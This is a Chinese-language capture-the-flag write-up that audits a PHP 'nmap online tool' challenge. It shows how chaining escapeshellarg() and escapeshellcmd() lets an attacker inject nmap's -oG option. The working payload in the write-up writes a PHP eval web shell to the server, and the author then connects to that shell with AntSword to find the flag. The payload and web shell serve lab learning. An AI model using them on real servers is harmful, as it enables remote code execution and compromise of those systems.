<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
源代码如上,
将代码分开,进行代码审计
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
'REMOTE_ADDR'和'HTTP_X_FORWARDED_FOR'这是服务器用来获取当前客户端IP地址
相关链接 HTTP 请求头中的 Remote_Addr,X-Forwarded-For,X-Real-IP - 23云恋49枫 - 博客园 (cnblogs.com)
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这是主要的部分:
传入host参数,最关键的应该是escapeshellarg()和escapeshellcmd()这两个函数 相关链接利用/绕过escapeshellarg/escapeshellcmd函数_php escape函数绕过-CSDN博客
escapeshellarg() 将给字符串增加一个单引号并能引用或者转码任何已经存在的单引号 escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义 @mkdir()函数用于创建目录 chdir()获取当前目录
最后echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);应该是利用system()来执行攻击命令,细细拆分开
`-T<0-5>`:设置时序模块,越高越快 `sS/sT/sA/sW/sM`:使用SYN、TCP、ACK、Window、Maimon来进行扫描 -Pn 将所有主机都默认为在线,跳过主机发现 --host-timeout <milliseconds> (放弃低速目标主机) -F 快速模式,扫描比默认端口数量更少的端口
所以最后应该是要利用nmap的-oG 写入木马文件
?host=' <?php @eval($_POST["cmd"]);?> -oG test.php '
通过chdir()给出文件地址进行蚁剑连接
成功访问我们写入的文件
尝试用蚁剑连接-----连接成功
找出flag.php文件 不是简简单单